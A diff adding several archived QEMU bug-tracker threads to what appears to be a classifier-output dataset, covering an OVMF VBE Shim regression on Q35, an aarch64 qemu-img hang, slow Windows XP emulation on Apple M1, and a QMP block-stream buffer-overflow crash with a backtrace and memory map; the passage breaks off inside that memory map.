ROM BAR. + +Therefore, if the area at 0xc0000 is unwriteable for the guest, then neither the VBE Shim, nor its alternative -- namely the full-blown SeaBIOS CSM -- can function in OVMF. + +On Tue, 19 Sep 2017 10:59:51 -0000 +"Laszlo Ersek \(Red Hat\)" <email address hidden> wrote: + +> Thanks, Gerd, for the CC -- I agree, this commit (208fa0e43645) almost +> certainly breaks the VBE Shim. Displaying the patch with a bit larger +> context, +> +> > diff --git a/hw/i386/pc.c b/hw/i386/pc.c +> > index 22e16031b03b..59435390ba62 100644 +> > --- a/hw/i386/pc.c +> > +++ b/hw/i386/pc.c +> > @@ -1442,8 +1442,11 @@ void pc_memory_init(PCMachineState *pcms, +> > +> > option_rom_mr = g_malloc(sizeof(*option_rom_mr)); +> > memory_region_init_ram(option_rom_mr, NULL, "pc.rom", PC_ROM_SIZE, +> > &error_fatal); +> > + if (pcmc->pci_enabled) { +> > + memory_region_set_readonly(option_rom_mr, true); +> > + } +> > memory_region_add_subregion_overlap(rom_memory, +> > PC_ROM_MIN_VGA, +> > option_rom_mr, +> > 1); +looking at it more, question is why do we have a separate +piece of ram mapped here that overlays system ram. +Can we remove this memory region and let guest use +underling initial memory? + + +> +> and PC_ROM_MIN_VGA is #defined as 0xc0000 in "include/hw/loader.h". +> +> OVMF places the VBE Shim into the C segment, and points the 0x10 +> interrupt vector at it. See "OvmfPkg/QemuVideoDxe/VbeShim.c", function +> InstallVbeShim(): +> +> > SegmentC = 0xC0000; +> > +> > [...] +> > +> > // +> > // Put the shim in place first. +> > // +> > Pam1Address = PCI_LIB_ADDRESS (0, 0, 0, 0x5A); +> > // +> > // low nibble covers 0xC0000 to 0xC3FFF +> > // high nibble covers 0xC4000 to 0xC7FFF +> > // bit1 in each nibble is Write Enable +> > // bit0 in each nibble is Read Enable +> > // +> > Pam1 = PciRead8 (Pam1Address); +> > PciWrite8 (Pam1Address, Pam1 | (BIT1 | BIT0)); +> > +> > // +> > // We never added memory space during PEI or DXE for the C segment, so we +> > // don't need to (and can't) allocate from there. Also, guest operating +> > // systems will see a hole in the UEFI memory map there. +> > // +> > SegmentCPages = 4; +> > +> > ASSERT (sizeof mVbeShim <= EFI_PAGES_TO_SIZE (SegmentCPages)); +> > CopyMem ((VOID *)(UINTN)SegmentC, mVbeShim, sizeof mVbeShim); +> > +> > [...] +> > +> > // +> > // Clear Write Enable (bit1), keep Read Enable (bit0) set +> > // +> > PciWrite8 (Pam1Address, (Pam1 & ~BIT1) | BIT0); +> > +> > // +> > // Second, point the Int10h vector at the shim. +> > // +> > Int0x10->Segment = (UINT16) ((UINT32)SegmentC >> 4); +> > Int0x10->Offset = (UINT16) ((UINTN) (VbeModeInfo + 1) - SegmentC); +> + + + +ovmf seems to not touch pam configuration, so rom remains mapped. +seabios in contrast maps the address range to ram instead. +IIRC ovmf does that too in CSM mode. +So, yes, probably this is fixable in ovmf. + +Re: comment 14, "is there a way to fix vbeshim instead of reverting RO limitation that commit introduced?": + +I don't think so; please see my earlier comments 15 and 17. To elaborate: + +If a user wants to boot Windows 7 on OVMF, they have *three* options: + +(1) Build the SeaBIOS CSM (CONFIG_CSM=y), and embed it into OVMF, like described above. Then, boot Windows 7 in *Legacy Mode*. + +--> Windows 7 will think that it runs on a plain BIOS machine. The VBE Services will be provided to Windows 7 by (a) the edk2 CSM infrastructure, (b) the SeaBIOS CSM, and (c) the VGABIOS PCI oprom together. + +(2) Build the SeaBIOS CSM (CONFIG_CSM=y), and embed it into OVMF, like described above. Then, boot Windows 7 in *UEFI Mode*. + +--> Windows 7 will think that it runs on a UEFI machine, *but* because Windows 7 has a bug, it will want to invoke VBE services nonetheless. The VBE Services will be provided to Windows 7 by (a) the edk2 CSM infrastructure, (b) the SeaBIOS CSM, and (c) the VGABIOS PCI oprom together. + +(3) Build OVMF without the SeaBIOS CSM, then boot Windows 7 in UEFI Mode. + +--> Windows 7 will think that it runs on a UEFI machine, *but* because Windows 7 has a bug, it will want to invoke VBE services nonetheless. The VBE Services will be provided to Windows 7 by the VBE Shim that OVMF installs during boot. + + +Option #1 and option #2 no longer work because the CSM infrastructure in edk2 needs to be able to write 0xc0000. + +Option #3 no longer works because OVMF needs to put the VBE Shim into place at 0xc0000. + + +Basically, Windows 7 wants to find the VBE services at 0xc0000, regardless of the method that it is booted with, ie. Legacy or UEFI. (As I said, this is a Windows 7 bug.) If that memory area is not writeable to the guest, then OVMF cannot satisfy the (buggy) Windows 7 requirement, using either of options #1, #2 or #3. + +On 09/19/17 13:49, Gerd Hoffmann wrote: +> ovmf seems to not touch pam configuration, so rom remains mapped. + +I don't understand; the code that I quoted above -- and that LaunchPad +messed up -- explicitly changes the PAM registers: + + // + // Put the shim in place first. + // + Pam1Address = PCI_LIB_ADDRESS (0, 0, 0, 0x5A); + // + // low nibble covers 0xC0000 to 0xC3FFF + // high nibble covers 0xC4000 to 0xC7FFF + // bit1 in each nibble is Write Enable + // bit0 in each nibble is Read Enable + // + Pam1 = PciRead8 (Pam1Address); + PciWrite8 (Pam1Address, Pam1 | (BIT1 | BIT0)); + +... + + // + // Clear Write Enable (bit1), keep Read Enable (bit0) set + // + PciWrite8 (Pam1Address, (Pam1 & ~BIT1) | BIT0); + +> seabios in contrast maps the address range to ram instead. +> IIRC ovmf does that too in CSM mode. +> So, yes, probably this is fixable in ovmf. + +I don't see how. + +Thanks +Laszlo + + +Ahh, wait, now I remember something -- the PAM registers are at a different location on Q35!!! + +If that's what's wrong, then it is indeed an OVMF bug. Let me see if I can write a patch. + + + +Indeed the CSM platform support had the same error one and half years ago, see: + +https://github.com/tianocore/edk2/commit/db27e9f3d8f0 + +Thank you, Gerd, for the hint! + +> (2) Build the SeaBIOS CSM (CONFIG_CSM=y), and embed it into OVMF, +> like described above. Then, boot Windows 7 in *UEFI Mode*. + +> Option #1 and option #2 no longer work because the CSM infrastructure +> in edk2 needs to be able to write 0xc0000. + +Well, option #2 works for me. + + + +On 09/19/17 14:38, Gerd Hoffmann wrote: +>> (2) Build the SeaBIOS CSM (CONFIG_CSM=y), and embed it into OVMF, +>> like described above. Then, boot Windows 7 in *UEFI Mode*. +> +>> Option #1 and option #2 no longer work because the CSM infrastructure +>> in edk2 needs to be able to write 0xc0000. +> +> Well, option #2 works for me. +> + +Correct, and that's because edk2 commit db27e9f3d8f0 fixed the PAM +register offsets for Q35, in the CSM platform support. At that time we +missed that the same should be done in the VBE Shim as well. + +I'm going to do it for the VBE Shim now. + +(I'm pretty sure UEFI Windows 7 boots fine with the VBE Shim right now, +on QEMU 2.10, if the machine type is i440fx, not q35.) + +Thanks for the help! +Laszlo + + +Posted: + +[edk2] [PATCH 0/3] OvmfPkg/QemuVideoDxe/VbeShim: handle PAM1 register on Q35 correctly + +https://lists.01.org/pipermail/edk2-devel/2017-September/014898.html + +I CC'd Aleksei on the series, but testing is welcome from anyone. (The cover letter at the link contains a git fetch URL.) + +edk2 commit range: b68c793144e8..947f3737abf6. + +See also LP#1725560. + +I assume this has been completely fixed in edk2, so I'm closing this QEMU bug now. + diff --git a/results/classifier/deepseek-1/output/Other/1824053 b/results/classifier/deepseek-1/output/Other/1824053 new file mode 100644 index 00000000..94c1f6a5 --- /dev/null +++ b/results/classifier/deepseek-1/output/Other/1824053 @@ -0,0 +1,88 @@ + +Qemu-img convert appears to be stuck on aarch64 host with low probability + +Hi, I found a problem that qemu-img convert appears to be stuck on aarch64 host with low probability. + +The convert command line is "qemu-img convert -f qcow2 -O raw disk.qcow2 disk.raw ". + +The bt is below: + +Thread 2 (Thread 0x40000b776e50 (LWP 27215)): +#0 0x000040000a3f2994 in sigtimedwait () from /lib64/libc.so.6 +#1 0x000040000a39c60c in sigwait () from /lib64/libpthread.so.0 +#2 0x0000aaaaaae82610 in sigwait_compat (opaque=0xaaaac5163b00) at util/compatfd.c:37 +#3 0x0000aaaaaae85038 in qemu_thread_start (args=args@entry=0xaaaac5163b90) at util/qemu_thread_posix.c:496 +#4 0x000040000a3918bc in start_thread () from /lib64/libpthread.so.0 +#5 0x000040000a492b2c in thread_start () from /lib64/libc.so.6 + +Thread 1 (Thread 0x40000b573370 (LWP 27214)): +#0 0x000040000a489020 in ppoll () from /lib64/libc.so.6 +#1 0x0000aaaaaadaefc0 in ppoll (__ss=0x0, __timeout=0x0, __nfds=<optimized out>, __fds=<optimized out>) at /usr/include/bits/poll2.h:77 +#2 qemu_poll_ns (fds=<optimized out>, nfds=<optimized out>, timeout=<optimized out>) at qemu_timer.c:391 +#3 0x0000aaaaaadae014 in os_host_main_loop_wait (timeout=<optimized out>) at main_loop.c:272 +#4 0x0000aaaaaadae190 in main_loop_wait (nonblocking=<optimized out>) at main_loop.c:534 +#5 0x0000aaaaaad97be0 in convert_do_copy (s=0xffffdc32eb48) at qemu-img.c:1923 +#6 0x0000aaaaaada2d70 in img_convert (argc=<optimized out>, argv=<optimized out>) at qemu-img.c:2414 +#7 0x0000aaaaaad99ac4 in main (argc=7, argv=<optimized out>) at qemu-img.c:5305 + + +The problem seems to be very similar to the phenomenon described by this patch (https://resources.ovirt.org/pub/ovirt-4.1/src/qemu-kvm-ev/0025-aio_notify-force-main-loop-wakeup-with-SIGIO-aarch64.patch), + +which force main loop wakeup with SIGIO. But this patch was reverted by the patch (http://ovirt.repo.nfrance.com/src/qemu-kvm-ev/kvm-Revert-aio_notify-force-main-loop-wakeup-with-SIGIO-.patch). + +The problem still seems to exist in aarch64 host. The qemu version I used is 2.8.1. The host version is 4.19.28-1.2.108.aarch64. + Do you have any solutions to fix it? Thanks for your reply ! + + +Anyone else has a similar problem? + +I can't reproduce this problem with qemu.git/matser? It seems to have been fixed in qemu.git/matser. + +But I haven't found which patch fixed this problem from QEMU version 2.8.1 to qemu.git/matser. + +Could anybody give me some suggestions? Thanks for your reply. + +Hi, unfortunately a lot has changed from 2.8 and it might be hard to identify a single individual fix that may be responsible for this; there are aio_context fixes that go in nearly every version. + +It may be quickest (unfortunately) to start git-bisecting the problem to see if you can identify which build alleviates the behavior to see if it isn't something you can backport directly -- but you might find that this particular fix has a lot of requisites and you might find it difficult to backport to 2.8.1. + +Best of luck, +--js + + + +Marking this bug as fixed according to comment 2. + +dann frazier met the same problem as me in (https://bugs.launchpad.net/qemu/+bug/1805256). + +He said this bugs still persists w/ latest upstream (@ afccfc0). His reply to me is below: + +No, sorry - this bugs still persists w/ latest upstream (@ afccfc0). I found a report of similar symptoms: + + https://patchwork.kernel.org/patch/10047341/ + https://bugzilla.redhat.com/show_bug.cgi?id=1524770#c13 + +To be clear, ^ is already fixed upstream, so it is not the *same* issue - but perhaps related. + + +Ok, we can track the bug reported by Dann Frazier in ticket 1805256 instead. + +I can reproduce this problem with qemu.git/matser. It still exists in qemu.git/matser. I found that when an IO return in +worker threads and want to call aio_notify to wake up main_loop, but it found that ctx->notify_me is cleared to 0 by main_loop in aio_ctx_check by calling atomic_and(&ctx->notify_me, ~1) . So worker thread won't write enventfd to notify main_loop. If such a scene happens, the main_loop will hang: + + main loop worker thread1 worker thread2 +--------------------------------------------------------------------------------------------------------------------- + qemu_poll_ns aio_worker + qemu_bh_schedule(pool->completion_bh) + glib_pollfds_poll + g_main_context_check + aio_ctx_check aio_worker + atomic_and(&ctx->notify_me, ~1) + qemu_bh_schedule(pool->completion_bh) + /* do something for event */ + qemu_poll_ns + /* hangs !!!*/ + + +As we known ,ctx->notify_me will be visited by worker thread and main loop. I thank we should add a lock protection for ctx->notify_me to avoid this happend. + diff --git a/results/classifier/deepseek-1/output/Performance/1913505 b/results/classifier/deepseek-1/output/Performance/1913505 new file mode 100644 index 00000000..6dc3fe38 --- /dev/null +++ b/results/classifier/deepseek-1/output/Performance/1913505 @@ -0,0 +1,180 @@ + +Windows XP slow on Apple M1 + +Qemu installed by using brew install qemu -s on M1 + +QEMU emulator version 5.2.0 +XP image from: https://archive.org/details/WinXPProSP3x86 + +Commands run: +$ qemu-img create -f qcow2 xpsp3.img 10G +$ qemu-system-i386 -m 512 -hda xpsp3.img -cdrom WinXPProSP3x86/en_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-73974.iso -boot d + +It's taken 3 days now with qemu running at around 94% CPU and installation hasn't finished. The mouse pointer moves and occasionally changes between the pointer and hourglass so it doesn't seem to have frozen. + +Is the install that slow on some other hardware (useful comparisons: x86 Mac; x86 Linux; AArch64 Linux) ? + + +On 28/01/2021 10:33, Peter Maydell wrote: + +> Is the install that slow on some other hardware (useful comparisons: x86 +> Mac; x86 Linux; AArch64 Linux) ? + +Could it be related to excess TLB flushing? Possible related bug report here: +https://bugs.launchpad.net/qemu/+bug/1883593. + + +ATB, + +Mark. + + +Did you compile QEMU on your own? If so, which parameters did you use for the "configure" script? + +The bug report says: +"Qemu installed by using brew install qemu -s on M1" +so I think it's whatver options homebrew used: +https://formulae.brew.sh/formula/qemu + + + +I just realised that I was using an x86 build of qemu on my M1. When I run the arm64 version I get "Could not allocate dynamic translator buffer" + + +Try a newer version from git -- the patches to support emulation on the M1 only went into git very recently. (There are still some issues on this hardware with further patches on list and/or testsuite failures being investigated.) + + + + +> On Jan 29, 2021, at 1:20 AM, <email address hidden> wrote: +> +> Message: 14 +> Date: Fri, 29 Jan 2021 06:06:41 -0000 +> From: Thomas Huth <email address hidden> +> To: <email address hidden> +> Subject: [Bug 1913505] Re: Windows XP slow on Apple M1 +> Message-ID: +> <email address hidden> +> +> Content-Type: text/plain; charset="utf-8" +> +> Did you compile QEMU on your own? If so, which parameters did you use +> for the "configure" script? +> +> -- +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> https://bugs.launchpad.net/bugs/1913505 +> +> Title: +> Windows XP slow on Apple M1 +> +> Status in QEMU: +> New +> +> Bug description: +> Qemu installed by using brew install qemu -s on M1 +> +> QEMU emulator version 5.2.0 +> XP image from: https://archive.org/details/WinXPProSP3x86 +> +> Commands run: +> $ qemu-img create -f qcow2 xpsp3.img 10G +> $ qemu-system-i386 -m 512 -hda xpsp3.img -cdrom WinXPProSP3x86/en_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-73974.iso -boot d +> +> It's taken 3 days now with qemu running at around 94% CPU and +> installation hasn't finished. The mouse pointer moves and occasionally +> changes between the pointer and hourglass so it doesn't seem to have +> frozen. +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1913505/+subscriptions + + +Hi, I followed your directions on reproducing this issue. My times were very different from yours. + +I used my own patch to make qemu-system-i386 on my M1 Mac running Mac OS 11.1. It is on the list if you want to try it. + +For Windows XP, I used my own copy. It was build 2600 and Service Pack 3. + +Installing Windows XP took about 23 minutes. After the installation was completed Windows tried to start up but probably crashed so I had to reboot the VM. After that it started up without problems. + +Here are some benchmarks I did: + +For my ARM-based QEMU I saw these start up times to the login screen: 1:20, 1:19, 1:16, 1:18 + +For a QEMU binary I made a few years ago that is x86_64-based, I saw these times: 1:09, 1:09 + +The ARM-based QEMU is at version 5.2.50 (git commit 9cd69f1a270235b652766f00b94114f48a2d603f). + +The x86_64-based QEMU is at version 2.10.1. + +I would have bet that the ARM-based QEMU would run circles around the x86_64 version, but the opposite happened. + +These are my theories about what could be wrong: +- A patch somewhere made QEMU slow + -- feature bloat + -- bugs + -- emulated hardware issues +- The ARM TCG isn't as good as the x86_64 version +- Non-optimal command-line options + +Please let me know if you have any ideas or suggestions. + +Thank you. + + + + + + + +Hi John, + +Thank you, this is indeed strange. Do you use homebrew? Could you try the homebrew version and see how that goes? + +I installed QEMU thru home-brew. When I tried to run it I saw this error message: "Could not allocate dynamic translator buffer". + +@John please build from master and apply the patch https://lists.gnu.org/archive/html/qemu-devel/2021-02/msg03527.html + +Tried the patch. +Start up time does not appear to be improved. +I used both qemu-system-i386 and qemu-system-x86_64 with the same results. +To compare notes I tried Windows 7. It starts up much faster than Windows XP. + + +Just to note when I tried reinstalling Windows XP, the installation appeared to be stuck at this screen. I restarted QEMU to continue. + + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/QEMU./1151986 b/results/classifier/deepseek-1/output/QEMU./1151986 new file mode 100644 index 00000000..77ae30be --- /dev/null +++ b/results/classifier/deepseek-1/output/QEMU./1151986 @@ -0,0 +1,302 @@ + +buffer overflow after block-stream via QMP + +When a block-stream is initiated via QMP and the QMP socket is closed on client side before the job is finished, QEMU crashes with a buffer overflow. + +Afterwards I cannot boot from the last active image anymore. + +I was able to reproduce this with qemu-kvm and qemu-system-x86_64 on two different machines. + +Version: +QEMU emulator version 1.2.0 (qemu-kvm-1.2.0), Copyright (c) 2003-2008 Fabrice Bellard + +I started QEMU with the following script: + +qemu-kvm \ + -monitor vc \ + -m 512 \ + -hda "$1" \ + -net nic,vlan=0 \ + -net user,vlan=0 \ + -localtime \ + -smp 2 \ + -qmp tcp:localhost:4444,server,nowait + + +Backtrace: + +Formatting '/home/helge/images/vm01.2013-03-07_11:30:13.qcow2', fmt=qcow2 size=10485760000 backing_file='/home/helge/images/vm01.qcow2' backing_fmt='qcow2' encryption=off cluster_size=65536 lazy_refcounts=off +*** buffer overflow detected ***: qemu-kvm terminated +======= Backtrace: ========= +/usr/lib/libc.so.6(__fortify_fail+0x37)[0x7f054e91a8c7] +/usr/lib/libc.so.6(+0xfc9a0)[0x7f054e9189a0] +/usr/lib/libc.so.6(+0xfe837)[0x7f054e91a837] +qemu-kvm(+0xdb0dc)[0x7f055220b0dc] +qemu-kvm(+0x15f581)[0x7f055228f581] +qemu-kvm(main+0xf93)[0x7f05521a3e93] +/usr/lib/libc.so.6(__libc_start_main+0xf5)[0x7f054e83da15] +qemu-kvm(+0x77e8d)[0x7f05521a7e8d] +======= Memory map: ======== +7f051bdff000-7f051be00000 rw-p 00000000 00:00 0 +7f051be00000-7f053be00000 rw-p 00000000 00:00 0 +7f053be00000-7f053c000000 rw-p 00000000 00:00 0 +7f053c000000-7f053c021000 rw-p 00000000 00:00 0 +7f053c021000-7f0540000000 ---p 00000000 00:00 0 +7f05421e2000-7f05421f7000 r-xp 00000000 08:12 1175478 /usr/lib/libgcc_s.so.1 +7f05421f7000-7f05423f6000 ---p 00015000 08:12 1175478 /usr/lib/libgcc_s.so.1 +7f05423f6000-7f05423f7000 rw-p 00014000 08:12 1175478 /usr/lib/libgcc_s.so.1 +7f05423f7000-7f05423f8000 ---p 00000000 00:00 0 +7f05423f8000-7f0542bf8000 rw-p 00000000 00:00 0 [stack:27848] +7f0542bf8000-7f0542bfd000 r-xp 00000000 08:12 1198566 /usr/lib/libXfixes.so.3.1.0 +7f0542bfd000-7f0542dfd000 ---p 00005000 08:12 1198566 /usr/lib/libXfixes.so.3.1.0 +7f0542dfd000-7f0542dfe000 r--p 00005000 08:12 1198566 /usr/lib/libXfixes.so.3.1.0 +7f0542dfe000-7f0542dff000 rw-p 00006000 08:12 1198566 /usr/lib/libXfixes.so.3.1.0 +7f0542dff000-7f0542e00000 rw-p 00000000 00:00 0 +7f0542e00000-7f0543e00000 rw-p 00000000 00:00 0 +7f0543e00000-7f0544000000 rw-p 00000000 00:00 0 +7f0544000000-7f0544139000 rw-p 00000000 00:00 0 +7f0544139000-7f0548000000 ---p 00000000 00:00 0 +7f0548014000-7f054801e000 r-xp 00000000 08:12 1198746 /usr/lib/libXrender.so.1.3.0 +7f054801e000-7f054821d000 ---p 0000a000 08:12 1198746 /usr/lib/libXrender.so.1.3.0 +7f054821d000-7f054821e000 r--p 00009000 08:12 1198746 /usr/lib/libXrender.so.1.3.0 +7f054821e000-7f054821f000 rw-p 0000a000 08:12 1198746 /usr/lib/libXrender.so.1.3.0 +7f054821f000-7f0548228000 r-xp 00000000 08:12 1199189 /usr/lib/libXcursor.so.1.0.2 +7f0548228000-7f0548427000 ---p 00009000 08:12 1199189 /usr/lib/libXcursor.so.1.0.2 +7f0548427000-7f0548428000 r--p 00008000 08:12 1199189 /usr/lib/libXcursor.so.1.0.2 +7f0548428000-7f0548429000 rw-p 00009000 08:12 1199189 /usr/lib/libXcursor.so.1.0.2 +7f0548429000-7f0548721000 r--p 00000000 08:12 1175421 /usr/lib/locale/locale-archive +7f0548721000-7f0548733000 r-xp 00000000 08:12 1198126 /usr/lib/libXext.so.6.4.0 +7f0548733000-7f0548932000 ---p 00012000 08:12 1198126 /usr/lib/libXext.so.6.4.0 +7f0548932000-7f0548933000 r--p 00011000 08:12 1198126 /usr/lib/libXext.so.6.4.0 +7f0548933000-7f0548934000 rw-p 00012000 08:12 1198126 /usr/lib/libXext.so.6.4.0 +7f054895d000-7f05489c0000 rw-p 00000000 00:00 0 +7f054895d000-7f05489c0000 rw-p 00000000 00:00 0 [118/1982] +7f05489d3000-7f0548aed000 rw-s 00000000 00:04 69697543 /SYSV00000000 (deleted) +7f0548aed000-7f0548aee000 ---p 00000000 00:00 0 +7f0548aee000-7f05492ee000 rw-p 00000000 00:00 0 [stack:27612] +7f05492ee000-7f05492ef000 ---p 00000000 00:00 0 +7f05492ef000-7f0549aef000 rw-p 00000000 00:00 0 [stack:27611] +7f0549cef000-7f0549cf0000 rw-p 00000000 00:00 0 +7f0549cf0000-7f0549cf1000 ---p 00000000 00:00 0 +7f0549cf1000-7f054a4f1000 rw-p 00000000 00:00 0 [stack:27858] +7f054a4f1000-7f054a4fd000 r-xp 00000000 08:12 1175139 /usr/lib/libnss_files-2.17.so +7f054a4fd000-7f054a6fc000 ---p 0000c000 08:12 1175139 /usr/lib/libnss_files-2.17.so +7f054a6fc000-7f054a6fd000 r--p 0000b000 08:12 1175139 /usr/lib/libnss_files-2.17.so +7f054a6fd000-7f054a6fe000 rw-p 0000c000 08:12 1175139 /usr/lib/libnss_files-2.17.so +7f054a6fe000-7f054a704000 rw-p 00000000 00:00 0 +7f054a704000-7f054a719000 r-xp 00000000 08:12 1175108 /usr/lib/libnsl-2.17.so +7f054a719000-7f054a918000 ---p 00015000 08:12 1175108 /usr/lib/libnsl-2.17.so +7f054a918000-7f054a919000 r--p 00014000 08:12 1175108 /usr/lib/libnsl-2.17.so +7f054a919000-7f054a91a000 rw-p 00015000 08:12 1175108 /usr/lib/libnsl-2.17.so +7f054a91a000-7f054a91d000 rw-p 00000000 00:00 0 +7f054a91d000-7f054a923000 r-xp 00000000 08:12 1203255 /usr/lib/libogg.so.0.8.0 +7f054a923000-7f054ab22000 ---p 00006000 08:12 1203255 /usr/lib/libogg.so.0.8.0 +7f054ab22000-7f054ab23000 rw-p 00005000 08:12 1203255 /usr/lib/libogg.so.0.8.0 +7f054ab23000-7f054ab4f000 r-xp 00000000 08:12 1203266 /usr/lib/libvorbis.so.0.4.6 +7f054ab4f000-7f054ad4e000 ---p 0002c000 08:12 1203266 /usr/lib/libvorbis.so.0.4.6 +7f054ad4e000-7f054ad4f000 r--p 0002b000 08:12 1203266 /usr/lib/libvorbis.so.0.4.6 +7f054ad4f000-7f054ad50000 rw-p 0002c000 08:12 1203266 /usr/lib/libvorbis.so.0.4.6 +7f054ad50000-7f054b003000 r-xp 00000000 08:12 1203269 /usr/lib/libvorbisenc.so.2.0.9 +7f054b003000-7f054b202000 ---p 002b3000 08:12 1203269 /usr/lib/libvorbisenc.so.2.0.9 +7f054b202000-7f054b21e000 r--p 002b2000 08:12 1203269 /usr/lib/libvorbisenc.so.2.0.9 +7f054b21e000-7f054b21f000 rw-p 002ce000 08:12 1203269 /usr/lib/libvorbisenc.so.2.0.9 +7f054b21f000-7f054b269000 r-xp 00000000 08:12 1203337 /usr/lib/libFLAC.so.8.2.0 +7f054b269000-7f054b468000 ---p 0004a000 08:12 1203337 /usr/lib/libFLAC.so.8.2.0 +7f054b468000-7f054b46a000 rw-p 00049000 08:12 1203337 /usr/lib/libFLAC.so.8.2.0 +7f054b46a000-7f054b46f000 r-xp 00000000 08:12 1196541 /usr/lib/libXdmcp.so.6.0.0 +7f054b46f000-7f054b66e000 ---p 00005000 08:12 1196541 /usr/lib/libXdmcp.so.6.0.0 +7f054b66e000-7f054b66f000 r--p 00004000 08:12 1196541 /usr/lib/libXdmcp.so.6.0.0 +7f054b66f000-7f054b670000 rw-p 00005000 08:12 1196541 /usr/lib/libXdmcp.so.6.0.0 +7f054b670000-7f054b672000 r-xp 00000000 08:12 1196554 /usr/lib/libXau.so.6.0.0 +7f054b672000-7f054b872000 ---p 00002000 08:12 1196554 /usr/lib/libXau.so.6.0.0 +7f054b872000-7f054b873000 r--p 00002000 08:12 1196554 /usr/lib/libXau.so.6.0.0 +7f054b873000-7f054b874000 rw-p 00003000 08:12 1196554 /usr/lib/libXau.so.6.0.0 +7f054b874000-7f054b879000 r-xp 00000000 08:12 1203313 /usr/lib/libasyncns.so.0.3.1 +7f054b879000-7f054ba78000 ---p 00005000 08:12 1203313 /usr/lib/libasyncns.so.0.3.1 +7f054ba78000-7f054ba79000 r--p 00004000 08:12 1203313 /usr/lib/libasyncns.so.0.3.1 +7f054ba79000-7f054ba7a000 rw-p 00005000 08:12 1203313 /usr/lib/libasyncns.so.0.3.1 +7f054ba7a000-7f054bad9000 r-xp 00000000 08:12 1203348 /usr/lib/libsndfile.so.1.0.25 +7f054bad9000-7f054bcd9000 ---p 0005f000 08:12 1203348 /usr/lib/libsndfile.so.1.0.25 +7f054bcd9000-7f054bcdb000 r--p 0005f000 08:12 1203348 /usr/lib/libsndfile.so.1.0.25 +7f054bcdb000-7f054bcdc000 rw-p 00061000 08:12 1203348 /usr/lib/libsndfile.so.1.0.25 +7f054bcdc000-7f054bce0000 rw-p 00000000 00:00 0 +7f054bce0000-7f054bcfe000 r-xp 00000000 08:12 1216246 /usr/lib/libxcb.so.1.1.0 +7f054bcfe000-7f054befd000 ---p 0001e000 08:12 1216246 /usr/lib/libxcb.so.1.1.0 +7f054befd000-7f054befe000 r--p 0001d000 08:12 1216246 /usr/lib/libxcb.so.1.1.0 +7f054befe000-7f054beff000 rw-p 0001e000 08:12 1216246 /usr/lib/libxcb.so.1.1.0 +7f054beff000-7f054bf6c000 r-xp 00000000 08:12 1182009 /usr/lib/libgmp.so.10.1.1 +7f054bf6c000-7f054c16b000 ---p 0006d000 08:12 1182009 /usr/lib/libgmp.so.10.1.1 +7f054c16b000-7f054c16c000 r--p 0006c000 08:12 1182009 /usr/lib/libgmp.so.10.1.1 +7f054c16c000-7f054c175000 rw-p 0006d000 08:12 1182009 /usr/lib/libgmp.so.10.1.1 +7f054c175000-7f054c187000 r-xp 00000000 08:12 1195339 /usr/lib/libhogweed.so.2.3 +7f054c187000-7f054c386000 ---p 00012000 08:12 1195339 /usr/lib/libhogweed.so.2.3 +7f054c386000-7f054c387000 r--p 00011000 08:12 1195339 /usr/lib/libhogweed.so.2.3 +7f054c387000-7f054c388000 rw-p 00012000 08:12 1195339 /usr/lib/libhogweed.so.2.3 +7f054c388000-7f054c3b1000 r-xp 00000000 08:12 1195342 /usr/lib/libnettle.so.4.5 +7f054c3b1000-7f054c5b1000 ---p 00029000 08:12 1195342 /usr/lib/libnettle.so.4.5 +7f054c5b1000-7f054c5b2000 r--p 00029000 08:12 1195342 /usr/lib/libnettle.so.4.5 +7f054c5b2000-7f054c5b3000 rw-p 0002a000 08:12 1195342 /usr/lib/libnettle.so.4.5 +7f054c5b3000-7f054c5c5000 r-xp 00000000 08:12 1195333 /usr/lib/libtasn1.so.6.1.1 +7f054c5c5000-7f054c7c4000 ---p 00012000 08:12 1195333 /usr/lib/libtasn1.so.6.1.1 +7f054c7c4000-7f054c7c5000 r--p 00011000 08:12 1195333 /usr/lib/libtasn1.so.6.1.1 +7f054c7c5000-7f054c7c6000 rw-p 00012000 08:12 1195333 /usr/lib/libtasn1.so.6.1.1 +7f054c7c6000-7f054c7d9000 r-xp 00000000 08:12 1195353 /usr/lib/libp11-kit.so.0.0.0 +7f054c7d9000-7f054c9d8000 ---p 00013000 08:12 1195353 /usr/lib/libp11-kit.so.0.0.0 +7f054c9d8000-7f054c9d9000 r--p 00012000 08:12 1195353 /usr/lib/libp11-kit.so.0.0.0 +7f054c9d9000-7f054c9da000 rw-p 00013000 08:12 1195353 /usr/lib/libp11-kit.so.0.0.0 +7f054c9da000-7f054c9ed000 r-xp 00000000 08:12 1175130 /usr/lib/libresolv-2.17.so +7f054c9ed000-7f054cbed000 ---p 00013000 08:12 1175130 /usr/lib/libresolv-2.17.so +7f054cbed000-7f054cbee000 r--p 00013000 08:12 1175130 /usr/lib/libresolv-2.17.so +7f054cbee000-7f054cbef000 rw-p 00014000 08:12 1175130 /usr/lib/libresolv-2.17.so +7f054cbef000-7f054cbf1000 rw-p 00000000 00:00 0 +7f054cbf1000-7f054cbf9000 r-xp 00000000 08:12 1175116 /usr/lib/libcrypt-2.17.so +7f054cbf9000-7f054cdf8000 ---p 00008000 08:12 1175116 /usr/lib/libcrypt-2.17.so +7f054cdf8000-7f054cdf9000 r--p 00007000 08:12 1175116 /usr/lib/libcrypt-2.17.so +7f054cdf9000-7f054cdfa000 rw-p 00008000 08:12 